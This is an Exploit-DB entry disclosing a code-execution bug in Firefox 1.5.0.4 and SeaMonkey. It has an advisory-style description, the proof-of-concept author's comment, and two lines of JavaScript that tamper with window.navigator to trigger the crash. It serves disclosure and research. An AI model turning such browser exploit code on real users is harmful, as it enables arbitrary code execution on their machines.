Description

Mozilla Firefox 1.5 before 1.5.0.5 and SeaMonkey before 1.0.3 allows remote attackers to execute arbitrary code by changing certain properties of the window navigator object (window.navigator) that are accessed when Java starts up, which causes a crash that leads to code execution.

Mozilla Firefox 1.5.0.4 - JavaScript Navigator Object Code Execution

text exploit Source: Exploit-DB 
<!--
Firefox <= 1.5.0.4 Javascript navigator Object Code Execution PoC 
http://browserfun.blogspot.com/

The following bug (mfsa2006-45) was tested on the Firefox 1.5.0.4 running 
on Windows 2000 SP4, Windows XP SP4, and a recently updated Gentoo Linux system. 
This bug was reported by TippingPoint and fixed in the latest 1.5.0.5 release of 
Mozilla Firefox. This is different from the bug I reported (mfsa2006-48) and is 
trivial to turn into a working exploit. The demonstration link below will attempt 
to launch "calc.exe" on Windows systems and "touch /tmp/METASPLOIT" on Linux systems.

window.navigator = (0x01020304 / 2);
java.lang.reflect.Runtime.newInstance( java.lang.Class.forName("java.lang.Runtime"), 0);
